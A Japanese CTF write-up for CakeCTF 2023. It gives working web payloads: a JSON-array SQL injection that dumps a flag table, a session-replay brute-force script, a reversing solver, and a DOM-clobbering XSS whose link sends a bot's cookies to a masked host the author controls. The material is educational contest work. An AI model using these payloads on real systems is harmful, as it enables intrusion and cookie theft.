CakeCTF 2023 writeup

Writer:b1uef0x / Webページ建造途中

概要

チーム参戦でWeb中心に解いた。解答3問と競技中に解けなかった問題を掲載。

目次

Country DB (web,warmup)

Do you know which country code 'CA' and 'KE' are for?

Search country codes here!

Country Coodeを入力すると該当する国名を検索してくれる。

Country DBブラウザ画面

国名のDBを作成する部分を見ると、flagという名前のテーブルにflagが入っている。

init_db.pyimport sqlite3
import os

FLAG = os.getenv("FLAG", "FakeCTF{*** REDACTED ***}")

conn = sqlite3.connect("database.db")
conn.execute("""CREATE TABLE country (
  code TEXT NOT NULL,
  name TEXT NOT NULL
);""")
conn.execute("""CREATE TABLE flag (
  flag TEXT NOT NULL
);""")
conn.execute(f"INSERT INTO flag VALUES (?)", (FLAG,))

# Country list from https://gist.github.com/vxnick/380904
countries = [
    ('AF', 'Afghanistan'),
    ('AX', 'Aland Islands'),
    ('AL', 'Albania'),
    ('DZ', 'Algeria'),
    ('AS', 'American Samoa'),
    ('AD', 'Andorra'),

... (以下省略)

アプリケーション本体は以下の通り。

app.py#!/usr/bin/env python3
import flask
import sqlite3

app = flask.Flask(__name__)

def db_search(code):
    with sqlite3.connect('database.db') as conn:
        cur = conn.cursor()
        cur.execute(f"SELECT name FROM country WHERE code=UPPER('{code}')")
        found = cur.fetchone()
    return None if found is None else found[0]

@app.route('/')
def index():
    return flask.render_template("index.html")

@app.route('/api/search', methods=['POST'])
def api_search():
    req = flask.request.get_json()
    if 'code' not in req:
        flask.abort(400, "Empty country code")

    code = req['code']
    if len(code) != 2 or "'" in code:
        flask.abort(400, "Invalid country code")

    name = db_search(code)
    if name is None:
        flask.abort(404, "No such country")

    return {'name': name}

if __name__ == '__main__':
    app.run(debug=True)

/api/searchでは送信されたjsonからcodeプロパティを取り出してdb_search関数に渡す。db_search関数では特にフィルタされていないため、SQL Injectionコードを渡せばflagを取得できそうだ。

突破すべき箇所は取り出したcodeプロパティの中身をチェックする次の部分になる。

code = req['code']
    if len(code) != 2 or "'" in code:
        flask.abort(400, "Invalid country code"))

codeが文字列である限り2文字までしか入らず'が排除されるが、jsonオブジェクトとしてreqが渡されているので、codeには文字列以外のものを入れることができる。配列であれば2要素でlen(code)==2を満たし、in codeも配列要素に対する完全一致に変化する。

したがってcodeプロパティに以下の配列をセットする。

"code": ["') UNION SELECT flag FROM flag --","2"]

この配列をdb_search関数に渡すとSQLクエリは次のようになり、SQL Injectionでflagテーブルの中身を取得できる。

SELECT name FROM country WHERE code=UPPER('["') UNION SELECT flag FROM flag --", '2']')

実行にはBurp Suiteを使用した。

CakeCTF{b3_c4refUl_wh3n_y0U_u5e_JS0N_1nPut}

TOWFL (web,cheat)

Do you speak the language of wolves?

Prove your skill here!

狼語で書かれた問題を100問全問正解する必要がある。

TOWFLブラウザ画面

アプリケーションのコードは以下のようになっている。

#!/usr/bin/env python3
import flask
import json
import lorem
import os
import random
import redis

REDIS_HOST = os.getenv("REDIS_HOST", "redis")
REDIS_PORT = int(os.getenv("REDIS_PORT", "6379"))

app = flask.Flask(__name__)
app.secret_key = os.urandom(16)

@app.route("/")
def index():
    return flask.render_template("index.html")

@app.route("/api/start", methods=['POST'])
def api_start():
    if 'eid' in flask.session:
        eid = flask.session['eid']
    else:
        eid = flask.session['eid'] = os.urandom(32).hex()

    # Create new challenge set
    db().set(eid, json.dumps([new_challenge() for _ in range(10)]))
    return {'status': 'ok'}

@app.route("/api/question/<int:qid>", methods=['GET'])
def api_get_question(qid: int):
    if qid <= 0 or qid > 10:
        return {'status': 'error', 'reason': 'Invalid parameter.'}
    elif 'eid' not in flask.session:
        return {'status': 'error', 'reason': 'Exam has not started yet.'}

    # Send challenge information without answers
    chall = json.loads(db().get(flask.session['eid']))[qid-1]
    del chall['answers']
    del chall['results']
    return {'status': 'ok', 'data': chall}

@app.route("/api/submit", methods=['POST'])
def api_submit():
    if 'eid' not in flask.session:
        return {'status': 'error', 'reason': 'Exam has not started yet.'}

    try:
        answers = flask.request.get_json()
    except:
        return {'status': 'error', 'reason': 'Invalid request.'}

    # Get answers
    eid = flask.session['eid']
    challs = json.loads(db().get(eid))
    if not isinstance(answers, list) \
       or len(answers) != len(challs):
        return {'status': 'error', 'reason': 'Invalid request.'}

    # Check answers
    for i in range(len(answers)):
        if not isinstance(answers[i], list) \
           or len(answers[i]) != len(challs[i]['answers']):
            return {'status': 'error', 'reason': 'Invalid request.'}

        for j in range(len(answers[i])):
            challs[i]['results'][j] = answers[i][j] == challs[i]['answers'][j]

    # Store information with results
    db().set(eid, json.dumps(challs))
    return {'status': 'ok'}

@app.route("/api/score", methods=['GET'])
def api_score():
    if 'eid' not in flask.session:
        return {'status': 'error', 'reason': 'Exam has not started yet.'}

    # Calculate score
    challs = json.loads(db().get(flask.session['eid']))
    score = 0
    for chall in challs:
        for result in chall['results']:
            if result is True:
                score += 1

    # Is he/she worth giving the flag?
    if score == 100:
        flag = os.getenv("FLAG")
    else:
        flag = "Get perfect score for flag"

    # Prevent reply attack
    flask.session.clear()

    return {'status': 'ok', 'data': {'score': score, 'flag': flag}}


def new_challenge():
    """Create new questions for a passage"""
    p = '\n'.join([lorem.paragraph() for _ in range(random.randint(5, 15))])
    qs, ans, res = [], [], []
    for _ in range(10):
        q = lorem.sentence().replace(".", "?")
        op = [lorem.sentence() for _ in range(4)]
        qs.append({'question': q, 'options': op})
        ans.append(random.randrange(0, 4))
        res.append(False)
    return {'passage': p, 'questions': qs, 'answers': ans, 'results': res}

def db():
    """Get connection to DB"""
    if getattr(flask.g, '_redis', None) is None:
        flask.g._redis = redis.Redis(host=REDIS_HOST, port=REDIS_PORT, db=0)
    return flask.g._redis

if __name__ == '__main__':
    app.run()

/api/startでexamを新規作成、new_challenge()を10個作成して、ランダム生成したsessionのeidをキーにしてデータベースに保存している。

new_challengeの中身では正解を0~3でランダムに決定しているので、特定したい正解はランダムな100個の数字となる。

/api/submitで100個の回答を受け取って判定結果をデータベースに保存、/api/scoreで全問正解ならflagを表示し、成否に関わらずflask.session.clear()でsessionをクリアしている。

/api/scoreでリプレイ攻撃を防止するためにsessionをクリアしているが、ここでsessionを削除されようがデータベースには問題が残っており、session内のeidを使ってアクセスできる。Cookieを保存して再設定すれば繰り返し同じ問題に回答することができる。

問題を作成してCookieを保存、保存したCookieで100問の問題を1問ずつ総当りしていくソルバーを書いた。

import requests
import json

payload = []
for q1 in range(10):
        payload_line = []
        for q2 in range(10):
                payload_line.append(4)
        payload.append(payload_line)

url = "http://towfl.2023.cakectf.com:8888/"

#create exam
url_start = url + "api/start"
response = requests.post(url=url_start)
session_cookie = {'session' : response.cookies.get('session') }

#replay
url_submit = url + "api/submit"
url_score = url + "api/score"
score = 0
for q1 in range(10):
        for q2 in range(10):
                for a in range(4):
                        payload[q1][q2] = a
                        response = requests.post(url=url_submit,json=payload,cookies=session_cookie)
                        response = requests.get(url=url_score,cookies=session_cookie)
                        data = response.json()
                        if score < data["data"]["score"] :
                                score = int(data["data"]["score"])
                                print(data)
                                break
{'data': {'flag': 'Get perfect score for flag', 'score': 1}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 2}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 3}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 4}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 5}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 6}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 7}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 8}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 9}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 10}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 11}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 12}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 13}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 14}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 15}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 16}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 17}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 18}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 19}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 20}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 21}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 22}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 23}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 24}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 25}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 26}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 27}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 28}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 29}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 30}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 31}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 32}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 33}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 34}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 35}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 36}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 37}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 38}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 39}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 40}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 41}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 42}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 43}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 44}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 45}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 46}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 47}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 48}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 49}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 50}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 51}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 52}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 53}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 54}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 55}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 56}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 57}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 58}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 59}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 60}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 61}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 62}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 63}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 64}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 65}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 66}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 67}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 68}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 69}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 70}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 71}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 72}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 73}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 74}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 75}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 76}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 77}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 78}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 79}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 80}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 81}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 82}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 83}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 84}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 85}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 86}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 87}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 88}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 89}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 90}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 91}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 92}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 93}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 94}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 95}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 96}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 97}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 98}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 99}, 'status': 'ok'}
{'data': {'flag': '"CakeCTF{b3_c4ut10us_1f_s3ss10n_1s_cl13nt_s1d3_0r_s3rv3r_s1d3}"', 'score': 100}, 'status': 'ok'}

CakeCTF{b3_c4ut10us_1f_s3ss10n_1s_cl13nt_s1d3_0r_s3rv3r_s1d3}

nande (rev,warmup)

What makes NAND gates popular?

For IDA Free user: You have to run IDA on Windows to load PDB.

For Ghidra user: If Ghidra fails to load PDB and shows invalid function names, just delete the function name and you'll see the correct ones.

flagを入力すると合っているかどうかを判定してくれるwindowsプログラムが配布される。PDBファイルも配布されるので、逆アセンブラに読み込ませると可読性がよくなる。

Ghidraに読み込ませてmain関数以下判定に関係のある関数の逆コンパイル結果を以下に示す。

int __cdecl main(int param_1,char **param_2)

{
  char *pcVar1;
  bool bVar2;
  longlong extraout_RAX;
  ulonglong local_30;
  ulonglong local_28;
  ulonglong local_20;
  
  if (param_1 < 2) {
    printf(s_Usage:_%s_<flag>_14001e100);
  }
  else {
    pcVar1 = param_2[1];
    strlen();
    if (extraout_RAX == 0x20) {
      for (local_28 = 0; local_28 < 0x20; local_28 = local_28 + 1) {
        for (local_30 = 0; local_30 < 8; local_30 = local_30 + 1) {
          InputSequence[local_30 + local_28 * 8] =
               (byte)((int)pcVar1[local_28] >> ((byte)local_30 & 0x1f)) & 1;
        }
      }
      CIRCUIT(InputSequence,OutputSequence);
      bVar2 = true;
      for (local_20 = 0; local_20 < 0x100; local_20 = local_20 + 1) {
        bVar2 = (bool)(bVar2 & OutputSequence[local_20] == AnswerSequence[local_20]);
      }
      if (bVar2) {
        puts(s_Correct!_14001e118);
        return 0;
      }
    }
    puts(s_Wrong..._14001e128);
  }
  return 1;
}


void __cdecl CIRCUIT(uchar *param_1,uchar *param_2)

{
  ulonglong local_28;
  ulonglong local_20;
  
  for (local_20 = 0; local_20 < 0x1234; local_20 = local_20 + 1) {
    for (local_28 = 0; local_28 < 0xff; local_28 = local_28 + 1) {
      MODULE(param_1[local_28],param_1[local_28 + 1],param_2 + local_28);
    }
    MODULE(param_1[local_28],'\x01',param_2 + local_28);
    memcpy();
  }
  return;
}


void __cdecl MODULE(uchar param_1,uchar param_2,uchar *param_3)

{
  undefined auStack_38 [32];
  uchar local_18;
  uchar local_17;
  uchar local_16 [6];
  ulonglong local_10;
  
  local_10 = __security_cookie ^ (ulonglong)auStack_38;
  NAND(param_1,param_2,&local_18);
  NAND(param_1,local_18,local_16);
  NAND(param_2,local_18,&local_17);
  NAND(local_16[0],local_17,param_3);
  __security_check_cookie();
  return;
}


void __cdecl NAND(uchar param_1,uchar param_2,uchar *param_3)

{
  *param_3 = (param_1 & param_2) == 0;
  return;
}

main関数では入力した文字列の長さが32文字であればInputSequenceに1ビットずつ入力するようになっている。これをCIRCUIT関数でOutputSequenceに変換してAnswerSequenceと比較して完全一致するかどうかを見ている。

CIRCUIT関数ではInputSequenceをOutputSequenceに変換している。ループの中を見るとMODULE関数で隣り合うビット同士を何度も演算させているが、一番最後のビットは前のビットの影響を受けないことがわかる。よって後ろから総当りで特定していくことができる。

32文字のflagを後ろから復元するソルバーをJavaScriptで書いた。

ansstr = "01 01 01 01 01 00 00 01 01 00 00 01 00 00 01 00 00 01 01 00 00 00 00 01 01 01 01 01 00 00 01 01 01 01 00 01 00 01 01 01 00 00 00 01 01 00 01 01 01 01 00 01 00 01 00 00 01 00 01 00 01 01 00 01 00 00 01 01 00 01 01 00 00 00 00 00 01 00 00 00 00 01 00 00 01 00 00 01 00 01 01 01 00 00 01 01 01 00 00 01 01 01 00 01 00 01 01 01 01 00 01 01 00 00 00 01 01 00 00 01 01 00 01 01 00 00 00 01 00 01 01 01 00 01 00 00 00 00 01 00 00 00 00 01 01 01 00 01 00 00 00 01 01 00 00 01 00 00 00 00 00 01 00 00 00 00 01 01 01 01 01 01 01 01 01 00 01 00 01 00 00 01 01 00 01 01 01 00 01 00 01 00 01 00 00 00 00 00 00 01 01 00 01 01 00 01 01 00 01 00 01 00 01 00 00 01 01 01 01 01 00 01 01 00 01 01 01 00 00 01 00 01 01 00 01 01 00 00 01 00 00 01 01 00 00 01 01 01 00 01 00 01 00 01 01 00";
currctAry = ansstr.split(" ");
for(i=0; i<currctAry.length; i++)currctAry[i] = parseInt(currctAry[i],10);


function getseq(pcVar1) {
  var local_28;
  var local_30;
  var InputSequence = [];
  for (local_28 = 0; local_28 < 0x20; local_28 = local_28 + 1) {
    for (local_30 = 0; local_30 < 8; local_30 = local_30 + 1) {
      InputSequence[local_30 + local_28 * 8] = (pcVar1.charCodeAt(local_28) >> (local_30 & 0x1f)) & 1;
    }
  }
  return InputSequence;
}

function CIRCUIT(param_1,param_2)
{
  var local_28;
  var local_20;
  
  for (local_20 = 0; local_20 < 0x1234; local_20 = local_20 + 1) {
    for (local_28 = 0; local_28 < 0xff; local_28 = local_28 + 1) {
      param_2[local_28] = MODULE(param_1[local_28],param_1[local_28 + 1]);
    }
    param_2[local_28] = MODULE(param_1[local_28],1);
  }
  return param_2;
}

function MODULE(param_1,param_2)
{
  var local_18;
  var local_17;
  var local_16;
  
  local_18 = NAND(param_1,param_2);
  local_16 = NAND(param_1,local_18);
  local_17 = NAND(param_2,local_18);
  return NAND(local_16,local_17);
}


function NAND(param_1,param_2)
{
  return ((param_1 && param_2) == 0) ? 1 : 0;
}

var flag = "}";
for(i=2; i<=0x20; i++) {
        
        isFind = false;
        for(j=0x20; j<0x7f; j++) {
                flag_tmp = String.fromCharCode(j) + flag;
                for(k=i; k<0x20; k++)flag_tmp = "*" + flag_tmp;
                seq = getseq(flag_tmp);
                cir = CIRCUIT(seq,seq);
                f = true;
                for(k=0; k<8; k++) {
                        f = f && (cir[0xff-8*i+k] == currctAry[0xff-8*i+k]);
                }
                if(f) {
                        flag = String.fromCharCode(j) + flag;
                        isFind = true;
                        console.log(flag);
                        break;
                }
        }
        if(!isFind)break;
}

実行結果。

4}
a4}
Ta4}
dTa4}
udTa4}
WudTa4}
cWudTa4}
fcWudTa4}
efcWudTa4}
ZefcWudTa4}
BZefcWudTa4}
sBZefcWudTa4}
OsBZefcWudTa4}
xOsBZefcWudTa4}
3xOsBZefcWudTa4}
o3xOsBZefcWudTa4}
Ao3xOsBZefcWudTa4}
HAo3xOsBZefcWudTa4}
CHAo3xOsBZefcWudTa4}
sCHAo3xOsBZefcWudTa4}
fsCHAo3xOsBZefcWudTa4}
2fsCHAo3xOsBZefcWudTa4}
h2fsCHAo3xOsBZefcWudTa4}
{h2fsCHAo3xOsBZefcWudTa4}
F{h2fsCHAo3xOsBZefcWudTa4}
TF{h2fsCHAo3xOsBZefcWudTa4}
CTF{h2fsCHAo3xOsBZefcWudTa4}
eCTF{h2fsCHAo3xOsBZefcWudTa4}
keCTF{h2fsCHAo3xOsBZefcWudTa4}
akeCTF{h2fsCHAo3xOsBZefcWudTa4}
CakeCTF{h2fsCHAo3xOsBZefcWudTa4}

CakeCTF{h2fsCHAo3xOsBZefcWudTa4}

AdBlog (web)

Post your article anonymously here!

* Please report us if you find any sensitive/harmful posts.

解けなかった問題。DOM Clobberingの知識が抜けていたので後学のために残しておく。

TitleとContentを入力して簡単な記事が作れる。記事には固有のURLが振られる。

AdBlogブラウザ画面1

作成した記事を管理者に報告して巡回してもらうことができる。

AdBlogブラウザ画面2

巡回を行うクローラーのコードを見てみよう。

crawler.jsconst puppeteer = require('puppeteer');
const Redis = require('ioredis');
const connection = new Redis(6379, process.env.REDIS_HOST || "redis", {db: 1});

const flag = process.env.flag || "FakeCTF{**** DUMMY FLAG *****}";
const base_url = "http://challenge:8080";
const browser_option = {
    executablePath: '/usr/bin/google-chrome',
    headless: "new",
    args: [
        '-wait-for-browser',
        '--no-sandbox',
        '--disable-dev-shm-usage',
        '--disable-gpu',
        '--js-flags="--noexpose_wasm"'
    ]
}

const crawl = async (target) => {
    const url = `${base_url}/${target}`;
    console.log(`[+] Crawling: ${url}`);

    const browser = await puppeteer.launch(browser_option);
    const page = await browser.newPage();
    try {
        await page.setCookie({
            name: 'flag',
            value: flag,
            domain: new URL(base_url).hostname,
            httpOnly: false,
            secure: false
        });
        await page.goto(url, {
            waitUntil: 'networkidle0',
            timeout: 3 * 1000,
        });
        await page.waitForTimeout(3 * 1000);
    } catch (e) {
        console.log("[-]", e);
    } finally {
        await page.close();
        await browser.close();
    }
}

const handle = async () => {
    console.log(await connection.ping());
    connection.blpop('report', 0, async (err, message) => {
        try {
            await crawl(message[1]);
            setTimeout(handle, 10);
        } catch (e) {
            console.log("[-] " + e);
        }
    });
};

handle();

クローラーにはflagがCookieとして設定されており、httpOnly:falseなのでJavaScriptから取得することができる。クライアントサイドXSSを決めればよい。

記事を作成する部分とテンプレートコードも以下に示す。

app.pyimport base64
import flask
import json
import os
import re
import redis

REDIS_HOST = os.getenv("REDIS_HOST", "redis")
REDIS_PORT = int(os.getenv("REDIS_PORT", "6379"))

app = flask.Flask(__name__)

@app.route('/', methods=['GET', 'POST'])
def index():
    if flask.request.method == 'GET':
        return flask.render_template("index.html")

    blog_id = os.urandom(32).hex()
    title = flask.request.form.get('title', 'untitled')
    content = flask.request.form.get('content', '<i>empty post</i>')
    if len(title) > 128 or len(content) > 1024*1024:
        return flask.render_template("index.html",
                                     msg="Too long title or content.")

    db().set(blog_id, json.dumps({'title': title, 'content': content}))
    return flask.redirect(f"/blog/{blog_id}")

@app.route('/blog/<blog_id>')
def blog(blog_id):
    if not re.match("^[0-9a-f]{64}$", blog_id):
        return flask.redirect("/")

    blog = db().get(blog_id)
    if blog is None:
        return flask.redirect("/")

    blog = json.loads(blog)
    title = blog['title']
    content = base64.b64encode(blog['content'].encode()).decode()
    return flask.render_template("blog.html", title=title, content=content)


def db():
    if getattr(flask.g, '_redis', None) is None:
        flask.g._redis = redis.Redis(host=REDIS_HOST, port=REDIS_PORT, db=0)
    return flask.g._redis

if __name__ == '__main__':
    app.run()
blog.html<!DOCTYPE html>
<html>
  <head>
    <title>{{ title }} - AdBlog</title>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/dompurify/3.0.6/purify.min.js"></script>
    <link rel="stylesheet" href="/static/css/simple-v1.min.css">
    <link rel="stylesheet" href="/static/css/ad-style.css">
  </head>
  <body>
    <div id="ad-overlay" class="overlay">
      <div class="overlay-content">
        <h3>AdBlock Detected</h3>
        <p>
          The revenue earned from advertising enables us to provide the quality content you're trying to reach on this blog. In order to view the post, we request that you disable adblock in plugin settings.
        </p>
        <button onclick="location.reload();">I have disabld AdBlock</button>
      </div>
    </div>
    <div>
      <!-- Blog -->
      <h1>{{ title }}</h1>
      <div id="content" style="margin: 1em;"></div>
      <hr>
      <!-- Ad -->
      <p style="text-align: center;"><small>Ad by AdBlog</small></p>
      <div id="ad" style="display: none;">
           <div style="margin: 0 auto;text-align:center;overflow:hidden;border-radius:0px;-webkit-box-shadow: 16px 17px 18px -7px rgba(18,1,18,0.61);-moz-box-shadow: 16px 17px 18px -7px rgba(18,1,18,0.61);box-shadow: 16px 17px 18px -7px rgba(18,1,18,0.61);background:#fff2d2;border:1px solid #000000;padding:1px;max-width:calc(100% - 16px);width:640px">
                 <div class="imgAnim927"  style="display: inline-block;position:relative;vertical-align: middle;padding:8px">
                       <img src="https://2023.cakectf.com/neko.png" style="max-width:100%;width:60px"/>
                 </div>
                 <div class="titleAnim927"  style="display:inline-block;text-shadow:#9a9996 4px 4px 4px;position:relative;vertical-align: middle;padding:8px;font-size:32px;color:#241f31;font-weight:bold">CakeCTF 2023</div>
                 <div  style="display:inline-block;text-shadow:#9a9996 4px 4px 4px;position:relative;vertical-align: middle;padding:8px;font-size:20px;color:#241f31;font-weight:normal">is taking place!</div>
                 <div class="btnAnim927"  style="display:inline-block;position:relative;vertical-align: middle;padding:16px" >
                       <a target="_blank" href="https://2023.cakectf.com/"><input type="button" value="Play Now" style="margin:0px;background:#f5c211;padding:4px;border:2px solid #c01c28;color:#c01c28;border-radius:0px;cursor:pointer;width:80px" /></a></div>
           </div>
      </div>
    </div>
    <script src="/static/js/ads.js"></script>
    <script>
     let content = DOMPurify.sanitize(atob("{{ content }}"));
     document.getElementById("content").innerHTML = content;

     window.onload = async () => {
       if (await detectAdBlock()) {
         showOverlay = () => {
           document.getElementById("ad-overlay").style.width = "100%";
         };
       }

       if (typeof showOverlay === 'undefined') {
         document.getElementById("ad").style.display = "block";
       } else {
         setTimeout(showOverlay, 1000);
       }
     }
    </script>
  </body>
</html>

app.pyでは作成する記事のtitleをのそまま、contentをbase64エンコードとしてテンプレートに渡している。テンプレート側では{{ title }}{{ content }}になっているので、有効な要素や属性はすべてエスケープされてしまう。

base64エンコードされたcontentはDOMPurifyでサニタイジングされてHTMLに挿入される。

let content = DOMPurify.sanitize(atob("{{ content }}"));
document.getElementById("content").innerHTML = content;

JavaScriptは2バイト文字のbase64で文字化けを起こしておかしなことになるので、その辺からDOMPurifyを突破できないかと考えたところで競技中は終了となった。

正解はDOM Clobberingを用いて、HTML要素をJavaScriptのオブジェクトとして参照できるようにして、setTimeout(showOverlay, 1000);から発火させるものだったようだ。

DOM Clobberingは、HTML要素のid属性やname属性がwindow以下にオブジェクトとして格納されてグローバルな変数として参照できる仕様のことだ(使ったことがなかった)。showOverlayを使うところが特殊なことになっており、detectAdBlockが有効ではなくshowOverlay関数が定義されなかったとき。showOverlayのタイプを判別して存在して入ればsetTimeoutで走らせる不思議なコードが書かれている。

a要素のDOM Clobberingではhref属性の中身が文字列として出力され、さらにDOMPurifyはcidに対応していることを利用して、以下のcontentを作成した。変数を2つ使ったのは、href属性の中で文字列の囲み('')を使うとエスケープされてしまって上手く走らなかった。

<a id=payload href="https://****.example.example/?">a</a><a id=showOverlay href="cid:location.href=payload+document.cookie">a</a>

この記事を報告すると、設定した自分のサイトにCookieの中身をくっつけてアクセスしてくれた。

CakeCTF{setTimeout_3v4lu4t3s_str1ng_4s_a_j4va5cr1pt_c0de}